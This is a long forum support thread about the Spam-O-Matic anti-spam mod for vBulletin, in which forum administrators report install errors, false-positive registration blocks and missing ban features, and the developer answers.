Running this on my 4.0.7 board no issues, but want to upgrade to vb 4.1.3- I've read a few vague comments about people having trouble with 4.1.2 and 4.1.3 but they certainly didn't seem conclusive.. Just wondering how many people out there are/aren't having issues with this mod and 4.1.3

thanks

for what it's worth I'm only using e-mail blocking for now

[Omniverse]

Does this hack work with 4.1.2? I need some repellant bad. My forum is infested with spammers. Like 12+ registrations a day.

[blue6995]

I had to uninstall this because for some reason, when I tried to delete more than one post in a thread, it wouldn't let me. Once I removed it, I found I could delete posts as normal.

[mmackinnon]

Hmm

Ok i am running vb 4.1 and have just upgraded today to this spam version.

I noticed a number of things which are confusing.

When i look at a user in the admin panel i no longer have the option at the bottom of their user profile which allowed to delete posts, ban user remover user and submit to stopforum spam.com That box has disappeared. Is that supposed to happen?

Second, I was looking at the picture examples in this posts showing the ability to click on moderation tools and choose spam-o-matic. I do not have this option nor can i see it anywhere except when looking at thread lists (not for individual spammers) and even then under the moderation tools button there is no spam-o-matic.

One of the things about this app which i really liked was the admin panel function stuff which has disappeared.

Any ideas?

[BillHeaton]

Posts result in a blank page.
Turn Spam-o-matic off and problem goes away.
Turn Spam-o-matic on and problem comes back.

Doing more research.

[BillHeaton]

Duh... Operator Error... Reloaded Spam-o-matic files and it works!

Posts result in a blank page.
Turn Spam-o-matic off and problem goes away.
Turn Spam-o-matic on and problem comes back.

Doing more research.

[Phaedrus]

Guys I get email every day now from people who can't register. I'll have to uninstall if I can't figure this out. Please help.

What are they getting blocked on most often? You can turn off checks in that specific area and leave the IP and email checks... Basically You decide where your own cut off is.

[Phaedrus]

I'm wondering when we get our AdminCP reporting options back... Most of my spammers are of a type that do not post, but need to be reported. Basically using the "my home page" link on the profiles of my site to backlink to porn, male enhancement and other stuff that has nothing at all to do with my site, never posting.

[IndigoSociety]

If a legitimate user is denied registration what is the proper procedure? And I've had this happen several times now so I'm a little confused if this script is too aggressive.

[oddmud]

Originally Posted by Phaedrus View Post

What happened to the selection in the User Profile area in the Admin CP? I have a ton of spambots that don't post, but use the forum for backlinks in the member pages and I'd like to be able to easily remove them and report them at the same time. I mean, it is clearly just as "spammy" to register just to create a backlink to a male enhancement site which has nothing to do with our forum. I wouldn't care what they put in as their home page if they contribute, but allowing backlinks for free with no writing contributions?


This one is one of the favorite questions that people like to ask. The short answer is it will be re-introduced in a later version.


This is needed now, this is the most common way the bots spam now. I never get posts, I rarely get IP denies, but they're still able to sneak in and post links in their user profile.

[oddmud]

+1 for purging visitor message. Most of the spam I see these days making it through registration is in the user profile messages.

Amen Brother!

[mmackinnon]

Ok, I waited over a week with no real response to these issues. I am uninstalling the product.

[GlowHost.com]

Running this on my 4.0.7 board no issues, but want to upgrade to vb 4.1.3- I've read a few vague comments about people having trouble with 4.1.2 and 4.1.3 but they certainly didn't seem conclusive.. Just wondering how many people out there are/aren't having issues with this mod and 4.1.3

thanks

for what it's worth I'm only using e-mail blocking for now

We upgraded to latest when the security release was announced and have no issues. check your other plugins perhaps.

Hmm

When i look at a user in the admin panel i no longer have the option at the bottom of their user profile which allowed to delete posts, ban user remover user and submit to stopforum spam.com That box has disappeared. Is that supposed to happen?

Yes, check the FAQ on the first page. It will be introduced in a later version. There were problems with this section on the 4.0 boards and it was not a very popular feature. Though, some people in this thread are really vocal about adding it back, and that is why it is planned for the next version...2.5


Second, I was looking at the picture examples in this posts showing the ability to click on moderation tools and choose spam-o-matic. I do not have this option nor can i see it anywhere except when looking at thread lists (not for individual spammers) and even then under the moderation tools button there is no spam-o-matic.


If it is installed properly then it will appear provided some other mod is not interfering with it's display. Do the usual thing which is make sure it is installed correctly, if it is, disable all mods and see if it works, if it does, then re-enable each mod one at a time and check again until you find the mode/mod that breaks it.

I'm wondering when we get our AdminCP reporting options back... Most of my spammers are of a type that do not post, but need to be reported. Basically using the "my home page" link on the profiles of my site to backlink to porn, male enhancement and other stuff that has nothing at all to do with my site, never posting.

Soon, its a lot of time and money to release a new version. I don't see a lot of reciprocation through donations or orders on our site from this mod though.

Revisions have been slowed down a bit because of this. As it turns out, we get a lot of PMs for free private installation requests, PMs for complaints, PMs from people that want us to hide their website links in the mod, and the list of other strangeness goes on.

If a legitimate user is denied registration what is the proper procedure? And I've had this happen several times now so I'm a little confused if this script is too aggressive.

It is only as aggressive as your settings. Try studying those and adjusting them to what suits your board. It is really quite flexible.

Ok, I waited over a week with no real response to these issues. I am uninstalling the product.

This would be a good example of what I wrote above. vBulletin.org hasn't emailed me that their were responses to this thread in over a week....sorry I could not accommodate everything you needed in the specific time frame you wanted.

[IndigoSociety]

We upgraded to latest when the security release was announced and have no issues. check your other plugins perhaps.



Yes, check the FAQ on the first page. It will be introduced in a later version. There were problems with this section on the 4.0 boards and it was not a very popular feature. Though, some people in this thread are really vocal about adding it back, and that is why it is planned for the next version...2.5



If it is installed properly then it will appear provided some other mod is not interfering with it's display. Do the usual thing which is make sure it is installed correctly, if it is, disable all mods and see if it works, if it does, then re-enable each mod one at a time and check again until you find the mode/mod that breaks it.



Soon, its a lot of time and money to release a new version. I don't see a lot of reciprocation through donations or orders on our site from this mod though.

Revisions have been slowed down a bit because of this. As it turns out, we get a lot of PMs for free private installation requests, PMs for complaints, PMs from people that want us to hide their website links in the mod, and the list of other strangeness goes on.



It is only as aggressive as your settings. Try studying those and adjusting them to what suits your board. It is really quite flexible.



This would be a good example of what I wrote above. vBulletin.org hasn't emailed me that their were responses to this thread in over a week....sorry I could not accommodate everything you needed in the specific time frame you wanted.
I don't think it's that flexible if there isn't a threshold setting. Needs to be a little smarter. I already had over 10 complaints of people getting denied registration. That's not good. Sounds like the system needs some type of calibration.

[Boofo]

Uninstalled since GlowHost.com can't seem to find the time to answer any of my questions in this thread.

[GlowHost.com]

I don't think it's that flexible if there isn't a threshold setting. Needs to be a little smarter. I already had over 10 complaints of people getting denied registration. That's not good. Sounds like the system needs some type of calibration.

Whats a "threshold setting?"

What do your logs reveal? Its probably hits on usernames. You should be focused on IPs, then email addresses, then usernames.

I would turn off username and email checking as someone else mentioned and then turn the cache down to like a a couple days or so. As I said it is only as aggressive as you set it up to be. Holding an IP for a day or so as a known spammer is rarely going to result in a false positive.

[mmackinnon]

Hey

Thanks for the reply, it isnt your fault VB was not sending you email

I attempted to reinstall it today got everything uploaded but the xml importer just hangs and never competes. Very odd. I was able to import other mods no problem after this to test it and it works fine...

ever seen this?

[GlowHost.com]

Nope, never seen that before. Perhaps you have some security settings on the server that are preventing upload or do not like the code in the XML file. You can ask your host if there is anything in the error log.

[GlowHost.com]

Uninstalled since GlowHost.com can't seem to find the time to answer any of my questions in this thread.

Most of your questions are already answered or you seem to have resolved them.

Keep in mind I am not a free answer robot, please excuse me for missing something in the near 900 posts in this thread.

[mmackinnon]

No worries I got it. Just uploaded and important from the includes/xml folder.

I have gone through every plugin and disabled but this one and just cant seem to find why i dont have the ability to actually use the functions of the app.

How with this upgrade, do I now ban someone, submit them to the stopforumspam site, remove their posts, calendar & blog posts with one button? I cannot find the option to do that anywhere. The only way I can ban a user now is to goto the admin panel and choose ban. Is there something im missing?

As i look at a thread i attached a paste of exactly what I see. I do not see the the moderation box with spam-o-matic for individual posts (which is what id need) or on user profiles or anywhere actually. And when i got to the view of various threads in a forum i do see the moderation box but spam-o-matic is not listed there. (i added a pic of this as well).

Ideas?


Nope, never seen that before. Perhaps you have some security settings on the server that are preventing upload or do not like the code in the XML file. You can ask your host if there is anything in the error log.

[GlowHost.com]

Send me a screenshot of the moderation tools menu when you have selected a post in a thread.

[mmackinnon]

Well that is sortof the thing. I cannot find a moderation tools menu for individual posts or even see a way to select an individual post except to 'edit post'. The i have options to delete etc but nothing to ban and no stop forum. Am i missing some sortof function somehow?

[mmackinnon]

Ahhhh I see now.

When in threaded mode the option isnt there. When i switch to hybrid or linear it is. Is this a problem on your end or mine or just how it is?

[GlowHost.com]

I have never checked all modes actually. Remind me where to find the setting and I will take a look on my end.

[mmackinnon]

Hey

Weird eh?

When yer in a thread top right of the screen are the options like thread tool, administrative, search etc. Also up this is display. Click on it for the drop down and select threaded mode. The option to choose individual posts disappears so you cannot access the moderation tool box. at least for me

[Boofo]

Most of your questions are already answered or you seem to have resolved them.

Keep in mind I am not a free answer robot, please excuse me for missing something in the near 900 posts in this thread.

You seem to be doing fine when others have asked things. No problem, though, IsBot seems to work well enough, anyway. It never lets anything past to get to your mod.

[GlowHost.com]

Hey

Weird eh?

When yer in a thread top right of the screen are the options like thread tool, administrative, search etc. Also up this is display. Click on it for the drop down and select threaded mode. The option to choose individual posts disappears so you cannot access the moderation tool box. at least for me

I guess it is not just you. I don't have moderation tools available in that view either.

[IndigoSociety]

Whats a "threshold setting?"

What do your logs reveal? Its probably hits on usernames. You should be focused on IPs, then email addresses, then usernames.

I would turn off username and email checking as someone else mentioned and then turn the cache down to like a a couple days or so. As I said it is only as aggressive as you set it up to be. Holding an IP for a day or so as a known spammer is rarely going to result in a false positive.
Thanks, that helps in giving me an example. I appreciate it.

[Trek]

I've been running this for a bit now (a few weeks) and already have blocked 1255 spammers, good stuff. However, I'm seeing people that I KNOW are spammers signing up and making it through, but I have no way to manually say "This dude is a spammer" as they haven't posted yet.

Is there anyway to submit them and do all the ban type stuff as if they were automatically detected, but when they haven't posted?

[QuickQuestion]

I had Spam-O-Matic for a few days, and it really rocks for stopping spammers. But I came across a problem where no one can create threads or post when this mod is activated. VB 4.1.2

Can anyone toss me pointers? This is the message error that we get.

Warning: require_once(includes/functions_ghsom.php) [function.require-once]: failed to open stream: No such file or directory in [path]/includes/functions_newpost.php(443) : eval()'d code on line 32

Fatal error: require_once() [function.require]: Failed opening required 'includes/functions_ghsom.php' (include_path='.:/usr/local/php5/lib/php') in /home/content/74/7532774/html/includes/functions_newpost.php(443) : eval()'d code on line 32

[oddmud]

I've been running this for a bit now (a few weeks) and already have blocked 1255 spammers, good stuff. However, I'm seeing people that I KNOW are spammers signing up and making it through, but I have no way to manually say "This dude is a spammer" as they haven't posted yet.

Is there anyway to submit them and do all the ban type stuff as if they were automatically detected, but when they haven't posted?

I want to be able to do this based on their visitor links they're posting.

I want to be able to just click "SPAMMER" button on their profile and auto submit.

[Umit]

Hello, my website got attacked by a bot with a injection, I found a way to block it, and for SPAM i bought a pro key from Akesmet.
I installed and configured this mod, but I want to see the statistics. Well in the first screenshot it should be in tab Statistics & Logs, however my isn't ? Where can I find it? Also the mainpage of my forum I see I have a "Spam-O-Matic Statistics", this is empty.

[WorldCraft]

This mod is fantastic! An absolute lifesaver! Thankyou!
MOTC (century)

[Alan_SP]

I have a bit of a strange problem.

Before I had vBStopForumSpam mod and it worked fine. In logs I saw that there was about 9 to 10 spamers to every new user registered. Now, I see no spamers at all in logs, but only users. There's no reason why spamers should now avoid my site, so I assume this mod just don't log them.

Also, I see there are new users, but this doesn't get reflected in WGO, in part for welcoming our latest member. Something with this mod blocks showing who latest member is. Strange...

[Alan_SP]

Ok, I just reenabled vBStopForumSpam and yes, Spam-O-Matic doesn't log rejeceted spamers. Already I have one spamer logged with vBSFS, but none with SOM.

I'll test further having this two mods on, to see what's going on in WGO and last member.

[amd2010]

الهاك زفت

[TeknoSounds]

Please read previous posts, SFS was making too many uncessary queries to the SFS database, and so now they're supposed to first hit the vB verification first, then hit SOM.
If spammers are still getting by, might need to adjust thresholds.

[GlowHost.com]

I want to be able to do this based on their visitor links they're posting.

I want to be able to just click "SPAMMER" button on their profile and auto submit.

Per previous posts this will be in 2.5

This mod is fantastic! An absolute lifesaver! Thankyou!
MOTC (century)

Glad you like it :)

Ok, I just reenabled vBStopForumSpam and yes, Spam-O-Matic doesn't log rejeceted spamers. Already I have one spamer logged with vBSFS, but none with SOM.

I'll test further having this two mods on, to see what's going on in WGO and last member.

Please read previous posts, SFS was making too many uncessary queries to the SFS database, and so now they're supposed to first hit the vB verification first, then hit SOM.
If spammers are still getting by, might need to adjust thresholds.

TeknoSounds is correct.

[GlowHost.com]

I had Spam-O-Matic for a few days, and it really rocks for stopping spammers. But I came across a problem where no one can create threads or post when this mod is activated. VB 4.1.2

Can anyone toss me pointers? This is the message error that we get.

Warning: require_once(includes/functions_ghsom.php) [function.require-once]: failed to open stream: No such file or directory in [path]/includes/functions_newpost.php(443) : eval()'d code on line 32

Fatal error: require_once() [function.require]: Failed opening required 'includes/functions_ghsom.php' (include_path='.:/usr/local/php5/lib/php') in /home/content/74/7532774/html/includes/functions_newpost.php(443) : eval()'d code on line 32

You can search this thread for your answer, but basically it means you didn't install it correctly and do not have functions_ghsom.php uploaded to your includes/functions_ghsom.php directory.

[StonePilot]

GOOD WORK! In the first 20 minutes it's already blocked 7 spammers.

Question: Do you have Mod tools to help delete existing spammers (slepping spammers) so I can get rid of them? I have probably 1,000 sleppers on my site that have zero form posts and zero blog posts.

Let me update my problem: I have at least 1,000 "sleepers" on the site with no way to quickly ban them. They have no blog posts and no forum posts - they appear to have been created so they can spam inside the User Profile and they also will spam people's Visitor Messages on other members User Profiles. There is an instant-ban tool that I can get installed into the user profile but I'd rather not have to do that if I don't have to.

[GlowHost.com]

See that answer 2 posts above or check the FAQ on the first page.

[Alan_SP]

TeknoSounds is correct.

Thank you, I didn't realize that. :)

What about this part of my problems:

Also, I see there are new users, but this doesn't get reflected in WGO, in part for welcoming our latest member. Something with this mod blocks showing who latest member is. Strange...

With vBSFS enabled I see last registered user, with only SOM don't. I'll test further without vBSFS turned on.

[Trek]

I've been running this for a bit now (a few weeks) and already have blocked 1255 spammers, good stuff. However, I'm seeing people that I KNOW are spammers signing up and making it through, but I have no way to manually say "This dude is a spammer" as they haven't posted yet.

Is there anyway to submit them and do all the ban type stuff as if they were automatically detected, but when they haven't posted?

Anyone reply to this? I'd like to be able to click a button on their profile to say "spammer" or whatnot. If this was already asked and answered, sorry but I couldn't find it in the thread and the thread is almost 900 replies now. =)

[GlowHost.com]

With vBSFS enabled I see last registered user, with only SOM don't. I'll test further without vBSFS turned on.

Not sure what you are referring to. Screenshots might help.

Anyone reply to this? I'd like to be able to click a button on their profile to say "spammer" or whatnot. If this was already asked and answered, sorry but I couldn't find it in the thread and the thread is almost 900 replies now. =)

It's been answered at least 2 times on this page alone, it is also in the FAQ on the first page.

[giskard]

This has been installed for just over a month now and I think this quote from the bottom of my forum says it all.

"5436 Spammers Denied Registration"

Thank you Glowhosts, we had a very bad spammer problem before installing your software, since then only 1 has gotten through.

[StonePilot]

It's been answered at least 2 times on this page alone, it is also in the FAQ on the first page.

I think there is a communication problem here. We need to define what we are talking about as some people talk about visitor links, some people talk about profile spam and there are a few other ways that this same problem is being talked about. -- Profile Page Ban would be something that would catch my attention, with benefits for that following.

Anyhow, this is a very effective piece of code, donation coming for sure!

Also, the list goes primary, secondary, tertiary and quaternary.

[StonePilot]

See that answer 2 posts above or check the FAQ on the first page.

Just to clarify, it would be nice to have a tool that would ban all users that are associated with an IP. So, enter an IP and ban 300 spam account. Enter another IP and ban 250 spam accounts.

* I sent in an PP donation, but I guess I didn't realize until now that this is a company-sponsored mod so my $5 doesn't mean anything. I'll consider allowing one of the links going up on the site.

[GlowHost.com]

Just to clarify, it would be nice to have a tool that would ban all users that are associated with an IP. So, enter an IP and ban 300 spam account. Enter another IP and ban 250 spam accounts.

* I sent in an PP donation, but I guess I didn't realize until now that this is a company-sponsored mod so my $5 doesn't mean anything. I'll consider allowing one of the links going up on the site.

The donation counts, I have to pay our programmers to make the code so every little bit helps. Thanks a lot.

Regarding this idea, its a bit risky because its not uncommon for a legit user to have the same IP address as a spammer, especially in the entire history of the forum which for many boards would span several years. The odds of banning legit users would be pretty high, especially on large boards.

We need to define what we are talking about as some people talk about visitor links, some people talk about profile spam and there are a few other ways that this same problem is being talked about. -- Profile Page Ban would be something that would catch my attention, with benefits for that following.

Primary - visitor links
Secondary - profile spam
Tertiary - Profile Page Ban
Quaternary - ???

What was the fourth point?

Here is my shot at defining them:

Visitor links - These are handled by auto-moderation and newbies manager. Unregisterred or newbies post are moderated when a post with a link is found. Unless we are talking about some other area.

Profile spam - This should be addressed in 2.5 via a Profile Page Ban in admin cP or possibly on the menu that pops up when you click the username on the forum postbit (if hooks system supports it) which is my vote for placement instead of having to login to admin cP.

[oddmud]

Profile spam - This should be addressed in 2.5 via a Profile Page Ban in admin cP or possibly on the menu that pops up when you click the username on the forum postbit (if hooks system supports it) which is my vote for placement instead of having to login to admin cP.

Thank you! This is probably the most common spam with vB v4.X, so it should be priority #1.

Do we have an estimated time of arrival for v2.5?

I will donate once this is completed, because I feel without this option it's not as affective as it should be.

[Alan_SP]

Also, I see there are new users, but this doesn't get reflected in WGO, in part for welcoming our latest member. Something with this mod blocks showing who latest member is. Strange...
Not sure what you are referring to. Screenshots might help.

Ok, I'm talking about:

When someone registers, he's seen as the latest registered member in WGO. And he stays there till new member registers and so on and on.

I noticed with SOM that latest registered member isn't shown in WGO, but a member before (not necessarily just before, there could be more of them between). Like for some reason SOM blocks latest registered member from showing on WGO.

I'll test it a bit more, to see if it is some problem with caching or something else.

EDIT: Here's an example:

SOM log (erased IPs and emails):

2011-04-21 22:39:05 MALA GARA Passed StopForumSpam checks. Sent to vBulletin Registration System.
2011-04-21 18:43:58 nemiran

On WGO, now (22:55) you see: Welcome to our newest member, nemiran

Obviously MALA GARA registered after, but it's still not shown. It may be something related with caching, but I'll see. If it is just caching, it's not a problem.

[GlowHost.com]

I don't know what WGO is.

[TeknoSounds]

wgo = What's Going On?

Its that statistics box at the bottom of your main forum index page, listing who's online, forum stats, etc.

[GlowHost.com]

I don't know, I never noticed it before. You are the first to report it if it exists.

[Alan_SP]

Yes, WGO is What's Going On, you also use it for your statistics (if it's enabled). On forum home, go to bottom of your page and above footer there it is. :) And now I think that this is something related with caching, not with SOM. I'll test it a bit further.

[AndrewRich]

Installed and set for SFS but not AKismet. Seems to work great!

[dustoff99]

Question: If a user passes the initial check and still is able to register but didn't post, is there an option to report them?

I don't want to post this users info, but he appears to be a spammer by his email / and his website / info etc....I know my US gaming clan doesn't need acrylic chairs from Europe.

I know I can ban him after he post to report, just didn't know of an option before hand. I would be nice to have an option in the User Manager Screen to do this.

PS Only been using this mod for a few weeks and already denied 25 people already. Great MOD so far.

[Alfa1]

I have two feature requests for this awesome modification:

1. IF the SFS server is unreachable, check again at a later time. My reason for requesting this, is that I see that some spammers get past SFS. I assume this this due to SFS being unreachable or my server maxing out.
2. Usergroup Permissions for showing 'Home Page URL'. (IF member is in the newbie usergroup, then do not show their 'Home Page URL' in postbit.)

I added this article to vb.com:
Bulletproof spam & scraper protection (http://www.vbulletin.com/forum/showthread.php/378134-Bulletproof-spam-amp-scraper-protection)

[Alan_SP]

2. Usergroup Permissions for showing 'Home Page URL'. (IF member is in the newbie usergroup, then do not show their 'Home Page URL' in postbit.)

Couldn't you make your own edit of postbit(legacy) for Home Page URL? If someone is member of certain usergroup, just don't show it to the world.

[Alfa1]

Couldn't you make your own edit of postbit(legacy) for Home Page URL? If someone is member of certain usergroup, just don't show it to the world.
I think it would be beneficial for everyone. Not just me. The Homepage url field is one of the few places that spam bots place their links.

It would be easy for me to do that if the conditional would depend upon the reader, not the poster. But what I want to do is hide the homepage url if the poster is in usergroup X,Y,Z.

[Alan_SP]

Well, yes, it could be useful for all if it is programmed into mod.

For start, you could try to use this:

<vb:if condition="$post['usergroupid'] == x">

Wrap part where URL should be showed in postbit, and of course change x with appropriate usergroup. I think this should work.

[Alfa1]

Thanks! Does $post[usergroupid] work on vb3 as well?

[Quarantine]

I'm not sure if there's a correlation or not, but after I updated from vB 4.0.x to 4.1.3, there seems to be more bots spamming my forum. Am I the only one, or did anyone else experience this as well?

[Alan_SP]

Thanks! Does $post[usergroupid] work on vb3 as well?

Yes, it should. Just use without vb:if, use only if.

[Alfa1]

Yes, it should. Just use without vb:if, use only if.
Yup, will use in array as well.

[PSimmo]

Great mod thank you..has stopped over a 1000 spammers in 3 months.

Since the upgrade to 4.1.3 from 4.1 though I have noticed that the Ban user and report as spammer options are gone from the user profile that is access from the Acp.
You used to be able to submit the user as a spammer and ban them at the same time...that was a great feature...any chance that is being worked on?

Thanks again for a great mod

[GlowHost.com]

Great mod thank you..has stopped over a 1000 spammers in 3 months.

Since the upgrade to 4.1.3 from 4.1 though I have noticed that the Ban user and report as spammer options are gone from the user profile that is access from the Acp.
You used to be able to submit the user as a spammer and ban them at the same time...that was a great feature...any chance that is being worked on?

Thanks again for a great mod

Profile banning options were removed in version 2 if not earlier so its been gone for a long time. See the FAQ on the first page first post for more information.

[Umit]

Hello, my website got attacked by a bot with a injection, I found a way to block it, and for SPAM i bought a pro key from Akesmet.
I installed and configured this mod, but I want to see the statistics. Well in the first screenshot it should be in tab Statistics & Logs, however my isn't ? Where can I find it? Also the mainpage of my forum I see I have a "Spam-O-Matic Statistics", this is empty.:confused:

[GlowHost.com]

Try re-installing the mod, perhaps it was not installed correctly. Instructions can be found in the readme file.

[Blueracer66]

Excellent MOD, I was using the previous version but after installing 2.0 I was getting MySQL errors while trying to add a new usergroup

MySQL Error : Unknown column 'akvbghsfs_akismet_permissions' in 'field list'

To fix this I had to remove an old file called :
?/forum/includes/xml/bitfield_glowhostspamomatic.xml
So make sure you remove this file if you are upgrading, this file is not included in the new 2.0 version.

You're a life saver! Thank you! :p

[Warlord]

I think this is probably the single best spam preventing hack I've ever used. Great job!

[GlowHost.com]

Thanks :)

[Senthil74]

I recently moved the forum to a new server. I have been using GlowHost-Spam-O-Matic. It was working fine until I moved the site to the new server. So, I tried uninstalling and re-installing the latest version of Spam-O-Matic. I am still getting many spam attempts to register per day. How can I get this resolved?

[GlowHost.com]

If you use the same web host, just a different server, would ask them what is different about the server configuration. Otherwise you would need to provide error messages. its pretty impossible to say without more information.

[dustoff99]

What if you or one of your MODs accidently banned somebody via this MOD? Can you request for the IP, User Name, Email to be taken out of the databases?

I personally don't want to ban somebody legit and then denied at another site.

[GlowHost.com]

You can talk to the maintainers of the database at stopforumspam.com

[serraboten]

I'd just like to thank you guys for making this plugin. You are lifesavers. my forums are alive! thank you soooo much, it works like a charm.

[dustoff99]

You can talk to the maintainers of the database at stopforumspam.com
Thank you :D

[Rofo]

I just disabled this for kicks today to see what effect, if any, it would have. Within just a few hours I had over 20 baidu spiders, haven't seen that number in quite some time (small site)

Did disabling this Mod have any effect on that, or is this just a coincidence?

[blake247]

FYI, this addon and similar ones are incompatible with the new vbulletin mobile suite. They prevent users from registering.

[edie]

A LOT of my users are getting "registration denied" error messages.

Can you explain why?
They are answering all the right questions, and I even undid "re-Captcha" to make it easier.

Here is their email address: turnerrussel@yahoo.com
Could that be it?

Please let me know, as I really appreciate your program.
Thank you


- Edith Williams
wowedie@yahoo.com

[edie]

Hi,
I have not received a response to my questions from you. Can you help?
I asked twice before - no response from developer.

Glowhost is not allowing anyone to register - they are all being noted as "spammers"
Is it because they have a @yahoo.com email address? That is not on my "blocked users" list..
Could it be something else?
- Edith Williams

[GlowHost.com]

FYI, this addon and similar ones are incompatible with the new vbulletin mobile suite. They prevent users from registering.

Sounds like a problem then with the way vB mobile renders pages.

Hi,
I have not received a response to my questions from you. Can you help?
I asked twice before - no response from developer.


Did you expect there to be a toll-free number with 24/7 support for a free vBulletin mod? It's only been 15 hours since your last post. Which in my time zone was Sunday night at 10 PM. When most people are sleeping. Now it is Monday when most people are going to work.


Glowhost is not allowing anyone to register - they are all being noted as "spammers"
Is it because they have a @yahoo.com email address? That is not on my "blocked users" list..
Could it be something else?


Lets get the terms straight.

GlowHost is a web hosting company. It has nothing to do with your forum, registrations, or denied registrations.

GlowHost sponsors development and support for this spam firewall / mod which is called "Spam-O-Matic."

Look in your Spam-O-Matic log to see why they are being flagged as spammers. Then look at your settings and adjust them accordingly.

[av8or1]

GlowHost-

Great mod, thanks! I just installed it over the weekend. I followed your instructions but don't see anything in the statistics section at the bottom of the forum webpage. Could that just be because there haven't been any attempts to register by spammers yet? I checked all of the display settings in admincp and they are set to "Yes". I also did a search prior to posting this question, as I realize you're busy, but it didn't turn up anything on this subject. I'm assuming that once the attacks start coming (we had a few prior to the installation) that the statistics section will begin showing information but until then it's just left empty, the thought being that empty is better than a lot of zeroes. Yes?

Thanks again!

[GlowHost.com]

Its possible that you don't have any spammers yet, but it usually fills up within the first 24 hours. You can check in the logs to see if there is any activity in there.

[av8or1]

Ok thank you for the guidance. There weren't any entries in the GlowHost log in the admincp, so that confirms my initial suspicions.

Again, thank you for creating this mod!

[billstelling]

after it spammed my footer with a link to your site i have removed the mod.. two identical links side by side. went back to vb bad behavior.. uses honeypot and they don't want any money from me or to put links in my footer. liked what i was reading about this one.. oh well.. just saw the post on it breaking prevent double posts as well.
I did like the auto mod features and stuff but the whole link in my footer... not even a warning.. go to go to my admin log-in and there it was. now I see it as just a ploy to advertise for free and make money off of sites for protection(even though you can select free)<that part was cool. I would have contributed later when i could afford it.. I'm willing to pay for a good product and would have shelled out a few bucks for this one. but I really hate feeling snookered..

[dustoff99]

after it spammed my footer with a link to your site i have removed the mod.. two identical links side by side. went back to vb bad behavior.. uses honeypot and they don't want any money from me or to put links in my footer. liked what i was reading about this one.. oh well.. just saw the post on it breaking prevent double posts as well.
I did like the auto mod features and stuff but the whole link in my footer... not even a warning.. go to go to my admin log-in and there it was. now I see it as just a ploy to advertise for free and make money off of sites for protection(even though you can select free)<that part was cool. I would have contributed later when i could afford it.. I'm willing to pay for a good product and would have shelled out a few bucks for this one. but I really hate feeling snookered..
You can remove the links in adminCP. I took one of the links out and kept the other to help support the mod designer for his "free" mod. I have had my site less than a month and already denied 80 people, it was worth the link on my site.

I am waiting for the next version so you can delete / report the sleepers as I do get a few to register.

Thanks GlowHost :D

[lazytown]

This mod seems pretty great! However, it seems as though when a user includes an IMG (image/picture/photo) in their post, this will put their thread/post in the moderation queue. Obviously this is for newbie members. Is there any way of allowing newbie members to post images (using IMG tag/etc) but still block url links?

Thanks!

[RowenWindsong]

I looked on the mod info and it shows it works on "4.0.x". Has this been updated to support 4.1.3 and the mod info just not updated yet? Just wanted to be sure before trying to install the mod, it's seems like the perfect mod. I would really like to get to use it on my current site as I am currently getting hammered with sleeper accounts I would like to filter in a more automatic method.

Also has the dev approached VB about the problem with the Mobile suite by chance? Just wondering as I am running the mobile suite as well.

Thanks in advance for all you help and have a great evening.

[Jeremy8]

Hello, could you explain more about what happens when it detects a spammer? What does it do with the account?

Also, I'm a little worried it might accidentally ban someone who is not actually a bot/spammer.

[dustoff99]

I looked on the mod info and it shows it works on "4.0.x". Has this been updated to support 4.1.3 and the mod info just not updated yet? Just wanted to be sure before trying to install the mod, it's seems like the perfect mod. I would really like to get to use it on my current site as I am currently getting hammered with sleeper accounts I would like to filter in a more automatic method.

Also has the dev approached VB about the problem with the Mobile suite by chance? Just wondering as I am running the mobile suite as well.

Thanks in advance for all you help and have a great evening.
Working on my site 4.1.3, I don't have the Mobile suite, so I don't know. Rumor has it, next version you will be able to kill the sleeper accounts too.

[The Rocketeer]

Hi, can any one explain what are the upgrade instructions? Upload all files then overwrite plugin?

[caracena]

Hi guys,

Should I disable vBulletin's antispam option after installing your mod? It's the one that allows me to choose from deactivate, Askimet or Typepad Antispam Beta.

I'm asking becouse it's logical to think that it's making more queries for nothing and also becouse I'm seeing waaaaay too many posts marked for moderation since I installed Spam-O-Matic even when I configured for the minimum (but logical) setup. Maybe this has something to do?

Thanks ;)

[TeknoSounds]

Hi, can any one explain what are the upgrade instructions? Upload all files then overwrite plugin?

correct.

[The Rocketeer]

correct.

anything else? I am using 1.27 and trying to upgrade to v2.. a bit more explanation would be good since I'm still quite new to all this and VB actually..

[GlowHost.com]

after it spammed my footer with a link to your site i have removed the mod.. two identical links side by side. went back to vb bad behavior.. uses honeypot and they don't want any money from me or to put links in my footer. liked what i was reading about this one.. oh well.. just saw the post on it breaking prevent double posts as well.
I did like the auto mod features and stuff but the whole link in my footer... not even a warning.. go to go to my admin log-in and there it was. now I see it as just a ploy to advertise for free and make money off of sites for protection(even though you can select free)<that part was cool. I would have contributed later when i could afford it.. I'm willing to pay for a good product and would have shelled out a few bucks for this one. but I really hate feeling snookered..

If you took a look at your settings, both links can be disabled. :rolleyes:

[GlowHost.com]

This mod seems pretty great! However, it seems as though when a user includes an IMG (image/picture/photo) in their post, this will put their thread/post in the moderation queue. Obviously this is for newbie members. Is there any way of allowing newbie members to post images (using IMG tag/etc) but still block url links?

Thanks!

Not at this time. if there is an a href tag in the post for a newbie, it gets moderated based on your moderation settings.

I looked on the mod info and it shows it works on "4.0.x". Has this been updated to support 4.1.3 and the mod info just not updated yet? Just wanted to be sure before trying to install the mod, it's seems like the perfect mod. I would really like to get to use it on my current site as I am currently getting hammered with sleeper accounts I would like to filter in a more automatic method.

Also has the dev approached VB about the problem with the Mobile suite by chance? Just wondering as I am running the mobile suite as well.

Thanks in advance for all you help and have a great evening.

I have not yet, but it is a problem with their mobile viewer since the mod uses the vB hooks system, if the mobile version is not honoring that, they need to fix it so that it does.

anything else? I am using 1.27 and trying to upgrade to v2.. a bit more explanation would be good since I'm still quite new to all this and VB actually..

The readme file should have upgrade instructions.

[hoshmedia123]

Hi, I installed Spam-O-Matic on my forum. It stopped all the spam but it was not allowing any new users to register and calling them all spammers. I changed the setting "What should happen if the new registration is listed in the StopForumSpam database" to "Log and continue with registration" and now people can register, but I have started getting spam again. Could you tell me how I can fix this problem?
Thanks

[DaleM]

Since I installed this a few weeks ago, it's caught over 1000 spammers and denied registration - it's great!

In the cases where the registration of a spammer is NOT caught by the automated check I usually get them before they have a chance to post anything and simply marked them as Banned Users. Often times the confirmation isn't even mailed back so I catch them there as well.

